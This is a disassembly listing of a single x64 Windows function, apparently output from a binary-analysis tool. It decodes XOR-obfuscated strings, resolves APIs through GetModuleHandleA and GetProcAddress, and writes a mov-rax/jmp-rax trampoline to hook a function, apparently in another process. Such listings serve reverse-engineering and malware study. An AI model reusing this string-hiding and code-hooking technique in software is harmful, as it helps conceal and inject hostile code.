Function at 0x14005b6a0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140093010]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov r12, r9
mov rsi, r8
mov r15, rdx
mov rdi, rcx
test rdx, rdx
je 0x14005b7fa
test r8, r8
je 0x14005b7fa
mov dword [rsp + 0x20], 0x2091805
mov dword [rsp + 0x24], 0x1e155e03
mov word [rsp + 0x28], 0x1f
mov byte [rsp + 0x2a], 1
xor ebx, ebx
mov ecx, ebx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x6b]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 9
jb 0x14005b710
mov byte [rsp + 0x2a], bl
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8, rax
test rax, rax
jne 0x14005b81a
mov dword [rsp + 0x40], 0xc241c230
mov dword [rsp + 0x44], 0xc24ec230
mov dword [rsp + 0x48], 0xc211c229
mov dword [rsp + 0x4c], 0xc21ec218
mov dword [rsp + 0x50], 0xc210c216
mov dword [rsp + 0x54], 0xc202c255
mov dword [rsp + 0x58], 0xc258c218
mov dword [rsp + 0x5c], 0xc215c215
mov dword [rsp + 0x60], 0xc218c21a
mov dword [rsp + 0x64], 0xc210c25d
mov dword [rsp + 0x68], 0xc2e4c20b
mov dword [rsp + 0x6c], 0xc2eec2ed
mov dword [rsp + 0x70], 0xc2e0c2ad
mov dword [rsp + 0x74], 0xc2eac2e9
mov word [rsp + 0x78], bx
mov byte [rsp + 0x7a], 1
mov ecx, 0x3d95
nop word [rax + rax]
movzx eax, bx
sub ax, cx
xor word [rsp + rbx*2 + 0x40], ax
inc rbx
cmp rbx, 0x1c
jb 0x14005b7c0
mov byte [rsp + 0x7a], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [0x140070250]
call fcn.140054b30
lea rdx, [0x140054d10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor al, al
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.14006c910
add rsp, 0x120
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov dword [rsp + 0x30], 0xa2c1825
mov dword [rsp + 0x34], 0x1d05310b
mov word [rsp + 0x38], 0x1e
mov byte [rsp + 0x3a], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x6b]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 9
jb 0x14005b840
mov byte [rsp + 0x3a], bl
lea rdx, [rsp + 0x30]
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x14005b942
mov dword [rsp + 0x40], 0xc241c230
mov dword [rsp + 0x44], 0xc24ec230
mov dword [rsp + 0x48], 0xc211c229
mov dword [rsp + 0x4c], 0xc21ec218
mov dword [rsp + 0x50], 0xc210c216
mov dword [rsp + 0x54], 0xc202c255
mov dword [rsp + 0x58], 0xc258c218
mov dword [rsp + 0x5c], 0xc21fc21e
mov dword [rsp + 0x60], 0xc25cc20f
mov dword [rsp + 0x64], 0xc206c218
mov dword [rsp + 0x68], 0xc2efc20f
mov dword [rsp + 0x6c], 0xc2f6c2f3
mov dword [rsp + 0x70], 0xc2eac2a3
mov dword [rsp + 0x74], 0xc2e2c2f1
mov dword [rsp + 0x78], 0xc2e4c2eb
mov dword [rsp + 0x7c], 0xc2c4c2a7
mov dword [rbp - 0x80], 0xc2cdc2ff
mov dword [rbp - 0x7c], 0xc2eac2e9
mov dword [rbp - 0x78], 0xc2e4c2ce
mov dword [rbp - 0x74], 0xc2ffc2fe
mov word [rbp - 0x70], bx
mov byte [rbp - 0x6e], 1
mov ecx, 0x3d95
nop word [rax + rax]
movzx eax, bx
sub ax, cx
xor word [rsp + rbx*2 + 0x40], ax
inc rbx
cmp rbx, 0x28
jb 0x14005b920
mov byte [rbp - 0x6e], 0
lea rdx, [rsp + 0x40]
jmp 0x14005b7de
mov word [rbp - 0x10], 0xb848
mov word [rbp - 6], 0xe0ff
mov qword [rbp - 0xe], rsi
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140097908], eax
jle 0x14005ba72
lea rcx, [0x140097908]
call fcn.14006cc00
cmp dword [0x140097908], 0xffffffff
jne 0x14005ba72
mov dword [rsp + 0x20], 0xa2c1825
mov dword [rsp + 0x24], 0x1d05310b
mov word [rsp + 0x28], 0x1e
mov byte [rsp + 0x2a], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x6b]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 9
jb 0x14005b9b0
mov byte [rsp + 0x2a], 0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], socket
mov byte [rsp + 0x40], 0
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14005b9f0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140054980
nop
lea r8, [rsp + 0x40]
mov rdx, qword [0x140094078]
mov rcx, rdi
call fcn.14004e550
mov qword [0x140097900], rax
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14005ba66
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ba60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005ba60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ca00
nop
lea rcx, [0x140097908]
call fcn.14006cba0
mov r8, qword [0x140097900]
test r8, r8
jne 0x14005bb62
mov dword [rsp + 0x40], 0xc241c230
mov dword [rsp + 0x44], 0xc24ec230
mov dword [rsp + 0x48], 0xc211c229
mov dword [rsp + 0x4c], 0xc21ec218
mov dword [rsp + 0x50], 0xc210c216
mov dword [rsp + 0x54], 0xc202c255
mov dword [rsp + 0x58], 0xc258c218
mov dword [rsp + 0x5c], 0xc21fc21e
mov dword [rsp + 0x60], 0xc25cc20f
mov dword [rsp + 0x64], 0xc206c218
mov dword [rsp + 0x68], 0xc2efc20f
mov dword [rsp + 0x6c], 0xc2f6c2f3
mov dword [rsp + 0x70], 0xc2eac2a3
mov dword [rsp + 0x74], 0xc2e9c2f1
mov dword [rsp + 0x78], 0xc2e3c2f4
mov dword [rsp + 0x7c], 0xc2e4c2fb
mov dword [rbp - 0x80], 0xc2a2c2e7
mov dword [rbp - 0x7c], 0xc2fac2c3
mov dword [rbp - 0x78], 0xc2f4c2ce
mov dword [rbp - 0x74], 0xc2d3c2f5
mov dword [rbp - 0x70], 0xc2fbc2e7
mov dword [rbp - 0x6c], 0xc2f8
mov byte [rbp - 0x68], 1
mov ecx, 0x3d95
nop word [rax + rax]
movzx eax, bx
sub ax, cx
xor word [rsp + rbx*2 + 0x40], ax
inc rbx
cmp rbx, 0x2b
jb 0x14005bb40
mov byte [rbp - 0x68], 0
lea rdx, [rsp + 0x40]
jmp 0x14005b7de
mov r9d, recv
lea rdx, [rbp]
mov rcx, rdi
call fcn.14004d3a0
test al, al
je 0x14005b7fa
movzx eax, byte [rbp - 0x10]
cmp byte [rbp], al
jne 0x14005bd12
movzx eax, byte [rbp - 0xf]
cmp byte [rbp + 1], al
jne 0x14005bd12
movzx eax, byte [rbp - 6]
cmp byte [rbp + 0xa], al
jne 0x14005bd12
movzx eax, byte [rbp - 5]
cmp byte [rbp + 0xb], al
jne 0x14005bd12
mov dword [rsp + 0x40], 0xc241c230
mov dword [rsp + 0x44], 0xc24ec230
mov dword [rsp + 0x48], 0xc231c229
mov dword [rsp + 0x4c], 0xc23ec238
mov dword [rsp + 0x50], 0xc230c236
mov dword [rsp + 0x54], 0xc24cc254
mov dword [rsp + 0x58], 0xc22cc257
mov dword [rsp + 0x5c], 0xc21fc211
mov dword [rsp + 0x60], 0xc21fc25b
mov dword [rsp + 0x64], 0xc21ac212
mov dword [rsp + 0x68], 0xc2a0c21a
mov dword [rsp + 0x6c], 0xc2e3c2f6
mov dword [rsp + 0x70], 0xc2a4c2f0
mov dword [rsp + 0x74], 0xc2eac2e4
mov dword [rsp + 0x78], 0xc2edc2f5
mov dword [rsp + 0x7c], 0xc2eec2e8
mov dword [rbp - 0x80], 0xc2acc2f2
mov dword [rbp - 0x7c], 0xc2e1c2e5
mov dword [rbp - 0x78], 0xc2fbc2e0
mov dword [rbp - 0x74], 0xc2f6c2f4
mov dword [rbp - 0x70], 0xc2b5c2b2
mov dword [rbp - 0x6c], 0xc2f7c2b5
mov dword [rbp - 0x68], 0xc2f7c2f9
mov dword [rbp - 0x64], 0xc2f2c2ed
mov dword [rbp - 0x60], 0xc2eec2fe
mov dword [rbp - 0x5c], 0xc2f7c2bd
mov dword [rbp - 0x58], 0xc2d3c2f1
mov dword [rbp - 0x54], 0xc2c3c2d5
mov dword [rbp - 0x50], 0xc2c7c2cd
mov dword [rbp - 0x4c], 0xc286c2c0
mov dword [rbp - 0x48], 0xc2cec2c8
mov dword [rbp - 0x44], 0xc2c1c289
mov dword [rbp - 0x40], 0xc2c1c2cf
mov dword [rbp - 0x3c], 0xc2dec2cc
mov dword [rbp - 0x38], 0xc2d5c2df
mov dword [rbp - 0x34], 0xc292c2c3
mov dword [rbp - 0x30], 0xc2c1c2c1
mov dword [rbp - 0x2c], 0xc2d8c2db
mov dword [rbp - 0x28], 0xc2d6c2de
mov dword [rbp - 0x24], 0xc285c2de
mov dword [rbp - 0x20], 0xc29a
mov byte [rbp - 0x1c], 1
mov ecx, 0x3d95
nop dword [rax + rax]
movzx eax, bx
sub ax, cx
xor word [rsp + rbx*2 + 0x40], ax
inc rbx
cmp rbx, 0x51
jb 0x14005bcf0
mov byte [rbp - 0x1c], 0
lea rdx, [rsp + 0x40]
jmp 0x14005b7de
mov r9d, recv
lea r8, [rbp - 0x10]
mov rdx, qword [0x140097900]
mov rcx, rdi
call fcn.14004d440
test al, al
je 0x14005b7fa
mov rdx, qword [rbp + 0x80]
mov rcx, r12
call r14
mov dword [r15], eax
mov r9d, recv
lea r8, [rbp]
mov rdx, qword [0x140097900]
mov rcx, rdi
call fcn.14004d440
mov al, 1
jmp 0x14005b7fc